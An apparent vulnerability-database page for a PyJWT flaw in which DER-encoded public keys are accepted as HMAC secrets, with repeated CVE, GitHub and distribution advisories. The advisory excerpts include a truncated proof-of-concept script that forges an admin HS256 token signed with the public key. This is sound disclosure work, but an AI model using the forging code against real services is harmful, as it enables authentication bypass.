CVE-2026-102271
PyJWT: Public keys in DER form are accepted as HMAC secrets, bypassing the CVE-2022-29217 guard
PyJWT is a Python implementation of JSON Web Token standards. From 2.4.0 until 2.14.0, PyJWT HMACAlgorithm.prepare_key is affected because asymmetric-key guard relies on textual markers that are absent from DER encoding. This occurs when an application mixes HMAC and asymmetric algorithms and supplies a DER public key as the shared verification key. As a result, PyJWT uses public DER bytes as an HMAC secret. Consequently, an attacker who knows the public key can forge authenticated HMAC tokens. This issue is fixed in version 2.14.0.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- High
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
7.4
PyJWT: Public keys in DER form are accepted as HMAC secrets, bypassing the CVE-2022-29217 guard
PyJWT is a Python implementation of JSON Web Token standards. From 2.4.0 until 2.14.0, PyJWT HMACAlgorithm.prepare_key is affected because asymmetric-key guard relies on textual markers that are absent from DER encoding. This occurs when an application mixes HMAC and asymmetric algorithms and supplies a DER public key as the shared verification key. As a result, PyJWT uses public DER bytes as an HMAC secret. Consequently, an attacker who knows the public key can forge authenticated HMAC tokens. This issue is fixed in version 2.14.0.
- Record
CVE-2026-102271- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-347
- Updated
- 2026-11-02
EUVDEUVD-2026-88539
7.4
PyJWT is a Python implementation of JSON Web Token standards. From 2.4.0 until 2.14.0, PyJWT HMACAlgorithm.prepare_key is affected because asymmetric-key guard relies on textual markers that are absent from DER encoding. This occurs when an application mixes HMAC and asymmetric algorithms and supplies a DER public key as the shared verification key. As a result, PyJWT uses public DER bytes as an HMAC secret. Consequently, an attacker who knows the public key can forge authenticated HMAC tokens. This issue is fixed in version 2.14.0.
- Record
EUVD-2026-88539- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-p4g4-x82p-q773
7.4
PyJWT: Public keys in DER form are accepted as HMAC secrets, bypassing the CVE-2022-29217 guard
Summary
HMACAlgorithm.prepare_key blocks asymmetric keys from being used as HMAC secrets by searching for text markers only. It looks for -----BEGIN and for an ssh- prefix. The same key in DER form is binary ASN.1 and has neither marker, so it passes the check and is used as an HMAC secret.
An application that verifies tokens with an RSA or EC public key, and also allows HS256 with that same key, can be given a forged token. The attacker signs it with the public key, which is public. This is the key confusion problem CVE-2022-29217 was filed for, reachable again through a different encoding.
The reach is smaller than the original CVE. The application must already be in that misconfiguration, and it must hold its public key as DER bytes rather than PEM.
Details
The guard is at jwt/algorithms.py:331:
if is_pem_format(key_bytes) or is_ssh_key(key_bytes):
raise InvalidKeyError(
"The specified key is an asymmetric key or x509 certificate and"
" should not be used as an HMAC secret."
)
Both helpers are text matchers. Neither one parses the key.
jwt/utils.py:126,is_pem_format, runs a regex for----[- ]BEGIN ...----.jwt/utils.py:141,is_ssh_key, checksstartswithagainst a list ofssh-andecdsa-sha2-prefixes.
A DER encoded public key starts with the bytes 0x30 0x82. It matches neither, so prepare_key returns it unchanged and it becomes the HMAC secret.
There is no DER handling anywhere in the package. grep -rni "\bDER\b|load_der" jwt/ tests/ returns nothing.
This affects three encodings that are all blocked in their PEM form today:
- DER SubjectPublicKeyInfo
- DER PKCS#1
- DER encoded X.509 certificate
History of this guard:
- Added in 2.4.0 for CVE-2022-29217 and GHSA-ffqj-6fqr-9h24, covering PEM and SSH.
- Extended in 2.13.0 for GHSA-xgmm-8j9v-c9wx, covering JWK JSON documents.
- DER has never been covered.
Applications that use PyJWK or PyJWKClient are not affected. jwt/api_jws.py:395 binds the header alg to the key's own algorithm, so HS256 never reaches HMACAlgorithm.prepare_key on that path.
Suggested fix: try to parse the bytes as a key and reject if parsing works. For example load_der_public_key, load_der_private_key and load_der_x509_certificate in a try/except chain, next to the checks already there. A random HMAC secret will not parse as valid DER, so real secrets should not be rejected.
PoC
Tested on 2.4.0, on 2.13.0, and on main at commit 7144e4534. All three behave the same. The guard has been marker based since 2.4.0, so the versions in between are very likely affected as well.
pip install "pyjwt==2.13.0" cryptography
python poc.py
No special configuration is needed. The script builds its own key.
import base64
import hashlib
import hmac
import json
import jwt
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives.serialization import Encoding, PublicFormat
pub = rsa.generate_private_key(public_exponent=65537, key_size=2048).public_key()
pem = pub.public_bytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo)
der = pub.public_bytes(Encoding.DER, PublicFormat.SubjectPublicKeyInfo)
der_pkcs1 = pub.public_bytes(Encoding.DER, PublicFormat.PKCS1)
def b64(raw):
return base64.urlsafe_b64encode(raw).rstrip(b"=")
def forge(secret):
# The attacker does not use PyJWT. They only need the public key bytes.
head = b64(json.dumps({"alg": "HS256", "typ": "JWT"}).encode())
body = b64(json.dumps({"user": "admin", "role": "admin"}).encode())
signing_input = head + b"." + body
sig = hmac.new(secret, signing_input, hashlib.sha256).digest()
return (signing_input + b"." + b64(sig)).decode()
# PEM form is rejected, as expected since CVE-2022-29217.
try:
jwt.decode(forge(pem), pem, algorithms=["RS256", "HS256"])
except jwt.exceptions.InvalidKeyError as exc:
print("PEM rejected:", exc)
# Same key, DER form. The…
- Record
GHSA-p4g4-x82p-q773- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-347
- Updated
- 2026-11-02
NVD
7.4
PyJWT is a Python implementation of JSON Web Token standards. From 2.4.0 until 2.14.0, PyJWT HMACAlgorithm.prepare_key is affected because asymmetric-key guard relies on textual markers that are absent from DER encoding. This occurs when an application mixes HMAC and asymmetric algorithms and supplies a DER public key as the shared verification key. As a result, PyJWT uses public DER bytes as an HMAC secret. Consequently, an attacker who knows the public key can forge authenticated HMAC tokens. This issue is fixed in version 2.14.0.
- Record
CVE-2026-102271- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-347
- Updated
- 2026-11-02
OSVBELL-CVE-2026-102271
7.4
- Record
BELL-CVE-2026-102271- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N - Updated
- 2026-11-07
OSV
7.4
PyJWT: Public keys in DER form are accepted as HMAC secrets, bypassing the CVE-2022-29217 guard
PyJWT is a Python implementation of JSON Web Token standards. From 2.4.0 until 2.14.0, PyJWT HMACAlgorithm.prepare_key is affected because asymmetric-key guard relies on textual markers that are absent from DER encoding. This occurs when an application mixes HMAC and asymmetric algorithms and supplies a DER public key as the shared verification key. As a result, PyJWT uses public DER bytes as an HMAC secret. Consequently, an attacker who knows the public key can forge authenticated HMAC tokens. This issue is fixed in version 2.14.0.
- Record
CVE-2026-102271- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-347
- Updated
- 2026-11-04
Show 26 moreShow less
OSVDEBIAN-CVE-2026-102271
7.4
PyJWT is a Python implementation of JSON Web Token standards. From 2.4.0 until 2.14.0, PyJWT HMACAlgorithm.prepare_key is affected because asymmetric-key guard relies on textual markers that are absent from DER encoding. This occurs when an application mixes HMAC and asymmetric algorithms and supplies a DER public key as the shared verification key. As a result, PyJWT uses public DER bytes as an HMAC secret. Consequently, an attacker who knows the public key can forge authenticated HMAC tokens. This issue is fixed in version 2.14.0.
- Record
DEBIAN-CVE-2026-102271- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N - Updated
- 2026-11-02
OSVGHSA-p4g4-x82p-q773
7.4
PyJWT: Public keys in DER form are accepted as HMAC secrets, bypassing the CVE-2022-29217 guard
Summary
HMACAlgorithm.prepare_key blocks asymmetric keys from being used as HMAC secrets by searching for text markers only. It looks for -----BEGIN and for an ssh- prefix. The same key in DER form is binary ASN.1 and has neither marker, so it passes the check and is used as an HMAC secret.
An application that verifies tokens with an RSA or EC public key, and also allows HS256 with that same key, can be given a forged token. The attacker signs it with the public key, which is public. This is the key confusion problem CVE-2022-29217 was filed for, reachable again through a different encoding.
The reach is smaller than the original CVE. The application must already be in that misconfiguration, and it must hold its public key as DER bytes rather than PEM.
Details
The guard is at jwt/algorithms.py:331:
if is_pem_format(key_bytes) or is_ssh_key(key_bytes):
raise InvalidKeyError(
"The specified key is an asymmetric key or x509 certificate and"
" should not be used as an HMAC secret."
)
Both helpers are text matchers. Neither one parses the key.
jwt/utils.py:126,is_pem_format, runs a regex for----[- ]BEGIN ...----.jwt/utils.py:141,is_ssh_key, checksstartswithagainst a list ofssh-andecdsa-sha2-prefixes.
A DER encoded public key starts with the bytes 0x30 0x82. It matches neither, so prepare_key returns it unchanged and it becomes the HMAC secret.
There is no DER handling anywhere in the package. grep -rni "\bDER\b|load_der" jwt/ tests/ returns nothing.
This affects three encodings that are all blocked in their PEM form today:
- DER SubjectPublicKeyInfo
- DER PKCS#1
- DER encoded X.509 certificate
History of this guard:
- Added in 2.4.0 for CVE-2022-29217 and GHSA-ffqj-6fqr-9h24, covering PEM and SSH.
- Extended in 2.13.0 for GHSA-xgmm-8j9v-c9wx, covering JWK JSON documents.
- DER has never been covered.
Applications that use PyJWK or PyJWKClient are not affected. jwt/api_jws.py:395 binds the header alg to the key's own algorithm, so HS256 never reaches HMACAlgorithm.prepare_key on that path.
Suggested fix: try to parse the bytes as a key and reject if parsing works. For example load_der_public_key, load_der_private_key and load_der_x509_certificate in a try/except chain, next to the checks already there. A random HMAC secret will not parse as valid DER, so real secrets should not be rejected.
PoC
Tested on 2.4.0, on 2.13.0, and on main at commit 7144e4534. All three behave the same. The guard has been marker based since 2.4.0, so the versions in between are very likely affected as well.
pip install "pyjwt==2.13.0" cryptography
python poc.py
No special configuration is needed. The script builds its own key.
import base64
import hashlib
import hmac
import json
import jwt
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives.serialization import Encoding, PublicFormat
pub = rsa.generate_private_key(public_exponent=65537, key_size=2048).public_key()
pem = pub.public_bytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo)
der = pub.public_bytes(Encoding.DER, PublicFormat.SubjectPublicKeyInfo)
der_pkcs1 = pub.public_bytes(Encoding.DER, PublicFormat.PKCS1)
def b64(raw):
return base64.urlsafe_b64encode(raw).rstrip(b"=")
def forge(secret):
# The attacker does not use PyJWT. They only need the public key bytes.
head = b64(json.dumps({"alg": "HS256", "typ": "JWT"}).encode())
body = b64(json.dumps({"user": "admin", "role": "admin"}).encode())
signing_input = head + b"." + body
sig = hmac.new(secret, signing_input, hashlib.sha256).digest()
return (signing_input + b"." + b64(sig)).decode()
# PEM form is rejected, as expected since CVE-2022-29217.
try:
jwt.decode(forge(pem), pem, algorithms=["RS256", "HS256"])
except jwt.exceptions.InvalidKeyError as exc:
print("PEM rejected:", exc)
# Same key, DER form. The…
- Record
GHSA-p4g4-x82p-q773- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-347
- Updated
- 2026-11-02
OSVOESA-2026-4384
9.1
python-jwt security update
setup.py test %endif
Security Fix(es):
PyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, PyJWT PyJWKClient is affected because redirect destinations are not revalidated against the JWKS trust boundary. This occurs when a configured trusted JWKS endpoint returns an attacker-influenced redirect. As a result, PyJWKClient follows the redirect and consumes the redirected response as key material. Consequently, forwarded credentials may be disclosed or verification keys may be substituted. This issue is fixed in version 2.14.0.(CVE-2026-102267)
PyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, is_pem_format in jwt/utils.py is affected because is_pem_format does not recognize every PEM representation accepted by the cryptography loader. This occurs when an application mixes HMAC and asymmetric algorithms and supplies a mutated public-key PEM as raw key bytes. As a result, HMACAlgorithm.prepare_key treats the unrecognized asymmetric public key as an HMAC secret. Consequently, an attacker who knows the public key can forge authenticated HMAC tokens. This issue is fixed in version 2.14.0.(CVE-2026-102268)
PyJWT is a Python implementation of JSON Web Token standards. From 2.4.0 until 2.14.0, PyJWT HMACAlgorithm.prepare_key is affected because asymmetric-key guard relies on textual markers that are absent from DER encoding. This occurs when an application mixes HMAC and asymmetric algorithms and supplies a DER public key as the shared verification key. As a result, PyJWT uses public DER bytes as an HMAC secret. Consequently, an attacker who knows the public key can forge authenticated HMAC tokens. This issue is fixed in version 2.14.0.(CVE-2026-102271)
- Record
OESA-2026-4384- CVSS 3.1
- 9.1 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N - Updated
- 2026-11-02
OSVOESA-2026-4385
9.1
python-jwt security update
setup.py test %endif
Security Fix(es):
PyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, PyJWT PyJWKClient is affected because redirect destinations are not revalidated against the JWKS trust boundary. This occurs when a configured trusted JWKS endpoint returns an attacker-influenced redirect. As a result, PyJWKClient follows the redirect and consumes the redirected response as key material. Consequently, forwarded credentials may be disclosed or verification keys may be substituted. This issue is fixed in version 2.14.0.(CVE-2026-102267)
PyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, is_pem_format in jwt/utils.py is affected because is_pem_format does not recognize every PEM representation accepted by the cryptography loader. This occurs when an application mixes HMAC and asymmetric algorithms and supplies a mutated public-key PEM as raw key bytes. As a result, HMACAlgorithm.prepare_key treats the unrecognized asymmetric public key as an HMAC secret. Consequently, an attacker who knows the public key can forge authenticated HMAC tokens. This issue is fixed in version 2.14.0.(CVE-2026-102268)
PyJWT is a Python implementation of JSON Web Token standards. From 2.4.0 until 2.14.0, PyJWT HMACAlgorithm.prepare_key is affected because asymmetric-key guard relies on textual markers that are absent from DER encoding. This occurs when an application mixes HMAC and asymmetric algorithms and supplies a DER public key as the shared verification key. As a result, PyJWT uses public DER bytes as an HMAC secret. Consequently, an attacker who knows the public key can forge authenticated HMAC tokens. This issue is fixed in version 2.14.0.(CVE-2026-102271)
- Record
OESA-2026-4385- CVSS 3.1
- 9.1 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N - Updated
- 2026-11-02
OSVOESA-2026-4386
9.1
python-jwt security update
setup.py test %endif
Security Fix(es):
PyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, PyJWT PyJWKClient is affected because redirect destinations are not revalidated against the JWKS trust boundary. This occurs when a configured trusted JWKS endpoint returns an attacker-influenced redirect. As a result, PyJWKClient follows the redirect and consumes the redirected response as key material. Consequently, forwarded credentials may be disclosed or verification keys may be substituted. This issue is fixed in version 2.14.0.(CVE-2026-102267)
PyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, is_pem_format in jwt/utils.py is affected because is_pem_format does not recognize every PEM representation accepted by the cryptography loader. This occurs when an application mixes HMAC and asymmetric algorithms and supplies a mutated public-key PEM as raw key bytes. As a result, HMACAlgorithm.prepare_key treats the unrecognized asymmetric public key as an HMAC secret. Consequently, an attacker who knows the public key can forge authenticated HMAC tokens. This issue is fixed in version 2.14.0.(CVE-2026-102268)
PyJWT is a Python implementation of JSON Web Token standards. From 2.4.0 until 2.14.0, PyJWT HMACAlgorithm.prepare_key is affected because asymmetric-key guard relies on textual markers that are absent from DER encoding. This occurs when an application mixes HMAC and asymmetric algorithms and supplies a DER public key as the shared verification key. As a result, PyJWT uses public DER bytes as an HMAC secret. Consequently, an attacker who knows the public key can forge authenticated HMAC tokens. This issue is fixed in version 2.14.0.(CVE-2026-102271)
- Record
OESA-2026-4386- CVSS 3.1
- 9.1 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N - Updated
- 2026-11-02
OSVOESA-2026-4387
9.1
python-jwt security update
setup.py test %endif
Security Fix(es):
PyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, PyJWT PyJWKClient is affected because redirect destinations are not revalidated against the JWKS trust boundary. This occurs when a configured trusted JWKS endpoint returns an attacker-influenced redirect. As a result, PyJWKClient follows the redirect and consumes the redirected response as key material. Consequently, forwarded credentials may be disclosed or verification keys may be substituted. This issue is fixed in version 2.14.0.(CVE-2026-102267)
PyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, is_pem_format in jwt/utils.py is affected because is_pem_format does not recognize every PEM representation accepted by the cryptography loader. This occurs when an application mixes HMAC and asymmetric algorithms and supplies a mutated public-key PEM as raw key bytes. As a result, HMACAlgorithm.prepare_key treats the unrecognized asymmetric public key as an HMAC secret. Consequently, an attacker who knows the public key can forge authenticated HMAC tokens. This issue is fixed in version 2.14.0.(CVE-2026-102268)
PyJWT is a Python implementation of JSON Web Token standards. From 2.4.0 until 2.14.0, PyJWT HMACAlgorithm.prepare_key is affected because asymmetric-key guard relies on textual markers that are absent from DER encoding. This occurs when an application mixes HMAC and asymmetric algorithms and supplies a DER public key as the shared verification key. As a result, PyJWT uses public DER bytes as an HMAC secret. Consequently, an attacker who knows the public key can forge authenticated HMAC tokens. This issue is fixed in version 2.14.0.(CVE-2026-102271)
- Record
OESA-2026-4387- CVSS 3.1
- 9.1 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N - Updated
- 2026-11-02
OSVPYSEC-2026-4149
7.4
PyJWT: Public keys in DER form are accepted as HMAC secrets, bypassing the CVE-2022-29217 guard
Summary
HMACAlgorithm.prepare_key blocks asymmetric keys from being used as HMAC secrets by searching for text markers only. It looks for -----BEGIN and for an ssh- prefix. The same key in DER form is binary ASN.1 and has neither marker, so it passes the check and is used as an HMAC secret.
An application that verifies tokens with an RSA or EC public key, and also allows HS256 with that same key, can be given a forged token. The attacker signs it with the public key, which is public. This is the key confusion problem CVE-2022-29217 was filed for, reachable again through a different encoding.
The reach is smaller than the original CVE. The application must already be in that misconfiguration, and it must hold its public key as DER bytes rather than PEM.
Details
The guard is at jwt/algorithms.py:331:
if is_pem_format(key_bytes) or is_ssh_key(key_bytes):
raise InvalidKeyError(
"The specified key is an asymmetric key or x509 certificate and"
" should not be used as an HMAC secret."
)
Both helpers are text matchers. Neither one parses the key.
jwt/utils.py:126,is_pem_format, runs a regex for----[- ]BEGIN ...----.jwt/utils.py:141,is_ssh_key, checksstartswithagainst a list ofssh-andecdsa-sha2-prefixes.
A DER encoded public key starts with the bytes 0x30 0x82. It matches neither, so prepare_key returns it unchanged and it becomes the HMAC secret.
There is no DER handling anywhere in the package. grep -rni "\bDER\b|load_der" jwt/ tests/ returns nothing.
This affects three encodings that are all blocked in their PEM form today:
- DER SubjectPublicKeyInfo
- DER PKCS#1
- DER encoded X.509 certificate
History of this guard:
- Added in 2.4.0 for CVE-2022-29217 and GHSA-ffqj-6fqr-9h24, covering PEM and SSH.
- Extended in 2.13.0 for GHSA-xgmm-8j9v-c9wx, covering JWK JSON documents.
- DER has never been covered.
Applications that use PyJWK or PyJWKClient are not affected. jwt/api_jws.py:395 binds the header alg to the key's own algorithm, so HS256 never reaches HMACAlgorithm.prepare_key on that path.
Suggested fix: try to parse the bytes as a key and reject if parsing works. For example load_der_public_key, load_der_private_key and load_der_x509_certificate in a try/except chain, next to the checks already there. A random HMAC secret will not parse as valid DER, so real secrets should not be rejected.
PoC
Tested on 2.4.0, on 2.13.0, and on main at commit 7144e4534. All three behave the same. The guard has been marker based since 2.4.0, so the versions in between are very likely affected as well.
pip install "pyjwt==2.13.0" cryptography
python poc.py
No special configuration is needed. The script builds its own key.
import base64
import hashlib
import hmac
import json
import jwt
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives.serialization import Encoding, PublicFormat
pub = rsa.generate_private_key(public_exponent=65537, key_size=2048).public_key()
pem = pub.public_bytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo)
der = pub.public_bytes(Encoding.DER, PublicFormat.SubjectPublicKeyInfo)
der_pkcs1 = pub.public_bytes(Encoding.DER, PublicFormat.PKCS1)
def b64(raw):
return base64.urlsafe_b64encode(raw).rstrip(b"=")
def forge(secret):
# The attacker does not use PyJWT. They only need the public key bytes.
head = b64(json.dumps({"alg": "HS256", "typ": "JWT"}).encode())
body = b64(json.dumps({"user": "admin", "role": "admin"}).encode())
signing_input = head + b"." + body
sig = hmac.new(secret, signing_input, hashlib.sha256).digest()
return (signing_input + b"." + b64(sig)).decode()
# PEM form is rejected, as expected since CVE-2022-29217.
try:
jwt.decode(forge(pem), pem, algorithms=["RS256", "HS256"])
except jwt.exceptions.InvalidKeyError as exc:
print("PEM rejected:", exc)
# Same key, DER form. The…
- Record
PYSEC-2026-4149- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N - Updated
- 2026-11-02
OSVRLSA-2026:94500
9.1
Critical: fence-agents security update
The fence-agents packages provide a collection of scripts for handling remote power management for cluster devices. They allow failed or unreachable nodes to be forcibly restarted and removed from the cluster.
Security Fix(es):
-
pyjwt: pyjwt: Authentication bypass via empty HMAC key acceptance (CVE-2026-102266)
-
pyjwt: PyJWT: Authentication bypass via improper public key validation (CVE-2026-102268)
-
pyjwt: PyJWT: Authentication bypass via acceptance of DER public keys as HMAC secrets (CVE-2026-102271)
-
pyjwt: pyjwt: Verification key substitution via unvalidated JWKS redirects (CVE-2026-102267)
-
pyjwt: pyjwt: Token forgery via improper Unicode byte-order mark handling (CVE-2026-102272)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.
- Record
RLSA-2026:94500- CVSS 3.1
- 9.1 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N - Updated
- 2026-11-04
OSVRLSA-2026:94501
9.1
Critical: fence-agents security update
The fence-agents packages provide a collection of scripts for handling remote power management for cluster devices. They allow failed or unreachable nodes to be forcibly restarted and removed from the cluster.
Security Fix(es):
-
pyjwt: pyjwt: Authentication bypass via empty HMAC key acceptance (CVE-2026-102266)
-
pyjwt: PyJWT: Authentication bypass via improper public key validation (CVE-2026-102268)
-
pyjwt: PyJWT: Authentication bypass via acceptance of DER public keys as HMAC secrets (CVE-2026-102271)
-
pyjwt: pyjwt: Verification key substitution via unvalidated JWKS redirects (CVE-2026-102267)
-
pyjwt: pyjwt: Token forgery via improper Unicode byte-order mark handling (CVE-2026-102272)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.
- Record
RLSA-2026:94501- CVSS 3.1
- 9.1 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N - Updated
- 2026-11-04
OSVUBUNTU-CVE-2026-102271
7.4
PyJWT is a Python implementation of JSON Web Token standards. From 2.4.0 until 2.14.0, PyJWT HMACAlgorithm.prepare_key is affected because asymmetric-key guard relies on textual markers that are absent from DER encoding. This occurs when an application mixes HMAC and asymmetric algorithms and supplies a DER public key as the shared verification key. As a result, PyJWT uses public DER bytes as an HMAC secret. Consequently, an attacker who knows the public key can forge authenticated HMAC tokens. This issue is fixed in version 2.14.0.
- Record
UBUNTU-CVE-2026-102271- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N - Updated
- 2026-11-02
OSVALSA-2026:94500 No score
Critical: fence-agents security update
The fence-agents packages provide a collection of scripts for handling remote power management for cluster devices. They allow failed or unreachable nodes to be forcibly restarted and removed from the cluster.
Security Fix(es):
- pyjwt: pyjwt: Authentication bypass via empty HMAC key acceptance (CVE-2026-102266)
- pyjwt: PyJWT: Authentication bypass via improper public key validation (CVE-2026-102268)
- pyjwt: PyJWT: Authentication bypass via acceptance of DER public keys as HMAC secrets (CVE-2026-102271)
- pyjwt: pyjwt: Verification key substitution via unvalidated JWKS redirects (CVE-2026-102267)
- pyjwt: pyjwt: Token forgery via improper Unicode byte-order mark handling (CVE-2026-102272)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.
- Record
ALSA-2026:94500- Updated
- 2026-11-04
OSVALSA-2026:94501 No score
Critical: fence-agents security update
The fence-agents packages provide a collection of scripts for handling remote power management for cluster devices. They allow failed or unreachable nodes to be forcibly restarted and removed from the cluster.
Security Fix(es):
- pyjwt: pyjwt: Authentication bypass via empty HMAC key acceptance (CVE-2026-102266)
- pyjwt: PyJWT: Authentication bypass via improper public key validation (CVE-2026-102268)
- pyjwt: PyJWT: Authentication bypass via acceptance of DER public keys as HMAC secrets (CVE-2026-102271)
- pyjwt: pyjwt: Verification key substitution via unvalidated JWKS redirects (CVE-2026-102267)
- pyjwt: pyjwt: Token forgery via improper Unicode byte-order mark handling (CVE-2026-102272)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.
- Record
ALSA-2026:94501- Updated
- 2026-11-04
OSVAZL-105221 No score
CVE-2026-102271 affecting package python-jwt for versions less than 2.15.1-1
PyJWT is a Python implementation of JSON Web Token standards. From 2.4.0 until 2.14.0, PyJWT HMACAlgorithm.prepare_key is affected because asymmetric-key guard relies on textual markers that are absent from DER encoding. This occurs when an application mixes HMAC and asymmetric algorithms and supplies a DER public key as the shared verification key. As a result, PyJWT uses public DER bytes as an HMAC secret. Consequently, an attacker who knows the public key can forge authenticated HMAC tokens. This issue is fixed in version 2.14.0.
- Record
AZL-105221- Updated
- 2026-11-02
OSVCLSA-2026-1790839846 No score
TuxCare security update for pyjwt (6 CVEs)
TuxCare rebuilt pyjwt to address 6 CVEs. Fixed in 2.10.1.post5+tuxcare.
- Record
CLSA-2026-1790839846- Updated
- 2026-11-02
OSVCLSA-2026-1790843991 No score
TuxCare security update for pyjwt (6 CVEs)
TuxCare rebuilt pyjwt to address 6 CVEs. Fixed in 2.8.0.post4+tuxcare.
- Record
CLSA-2026-1790843991- Updated
- 2026-11-02
OSVCLSA-2026-1793607290 No score
TuxCare security update for pyjwt (2 CVEs)
TuxCare rebuilt pyjwt to address 2 CVEs. Fixed in 2.3.0.post5+tuxcare.
- Record
CLSA-2026-1793607290- Updated
- 2026-11-02
OSVCLSA-2026-1793700313 No score
TuxCare security update for pyjwt (1 CVE)
TuxCare rebuilt pyjwt to address 1 CVE. Fixed in 1.7.1.post5+tuxcare.
- Record
CLSA-2026-1793700313- Updated
- 2026-11-03
OSVopenSUSE-SU-2026:22074-1 No score
Security update for python-PyJWT
This update for python-PyJWT fixes the following issues:
- CVE-2026-101917: attacker traffic can amplify outbound requests to the configured JWKS endpoint (bsc#1283060).
- CVE-2026-101918: unauthenticated request can raise an exception that may produce an HTTP 500 response (bsc#1283061).
- CVE-2026-102267: forwarded credentials may be disclosed or verification keys may be substituted (bsc#1283064).
- CVE-2026-102268: an attacker who knows the public key can forge authenticated HMAC tokens (bsc#1283065).
- CVE-2026-102269: raw-token revocation checks can fail to recognize an equivalent modified token (bsc#1283066).
- CVE-2026-102270: an attacker can cause intensive CPU consumption (bsc#1283067).
- CVE-2026-102271: an attacker who knows the public key can forge authenticated HMAC tokens (bsc#1283068).
- CVE-2026-102274: Malformed RSA JWK aborts parsing of an entire JWK Set (bsc#1283071).
- CVE-2026-102275: an attacker may use a stolen sender-constrained token without the legitimate private key (bsc#1283072).
- CVE-2026-103001: reused mutable options mapping can cause verification checks bypass on subsequent decode calls (bsc#1283829).
- Record
openSUSE-SU-2026:22074-1- Updated
- 2026-11-02
OSVROOT-APP-PYPI-CVE-2026-102271 No score
CVE-2026-102271 in pyjwt - Patched by Root
Root has patched CVE-2026-102271 in the pyjwt package for Root:PyPI. Multiple fixed versions available.
- Record
ROOT-APP-PYPI-CVE-2026-102271- Updated
- 2026-11-02
OSVSUSE-SU-2026:24126-1 No score
Security update for python-PyJWT
This update for python-PyJWT fixes the following issues:
- CVE-2026-101917: attacker traffic can amplify outbound requests to the configured JWKS endpoint (bsc#1283060).
- CVE-2026-101918: unauthenticated request can raise an exception that may produce an HTTP 500 response (bsc#1283061).
- CVE-2026-102267: forwarded credentials may be disclosed or verification keys may be substituted (bsc#1283064).
- CVE-2026-102268: an attacker who knows the public key can forge authenticated HMAC tokens (bsc#1283065).
- CVE-2026-102269: raw-token revocation checks can fail to recognize an equivalent modified token (bsc#1283066).
- CVE-2026-102270: an attacker can cause intensive CPU consumption (bsc#1283067).
- CVE-2026-102271: an attacker who knows the public key can forge authenticated HMAC tokens (bsc#1283068).
- CVE-2026-102274: Malformed RSA JWK aborts parsing of an entire JWK Set (bsc#1283071).
- CVE-2026-102275: an attacker may use a stolen sender-constrained token without the legitimate private key (bsc#1283072).
- CVE-2026-103001: reused mutable options mapping can cause verification checks bypass on subsequent decode calls (bsc#1283829).
- Record
SUSE-SU-2026:24126-1- Updated
- 2026-11-02
OSVSUSE-SU-2026:24134-1 No score
Security update for python-PyJWT
This update for python-PyJWT fixes the following issues:
- CVE-2026-101917: attacker traffic can amplify outbound requests to the configured JWKS endpoint (bsc#1283060).
- CVE-2026-101918: unauthenticated request can raise an exception that may produce an HTTP 500 response (bsc#1283061).
- CVE-2026-102267: forwarded credentials may be disclosed or verification keys may be substituted (bsc#1283064).
- CVE-2026-102268: an attacker who knows the public key can forge authenticated HMAC tokens (bsc#1283065).
- CVE-2026-102269: raw-token revocation checks can fail to recognize an equivalent modified token (bsc#1283066).
- CVE-2026-102270: an attacker can cause intensive CPU consumption (bsc#1283067).
- CVE-2026-102271: an attacker who knows the public key can forge authenticated HMAC tokens (bsc#1283068).
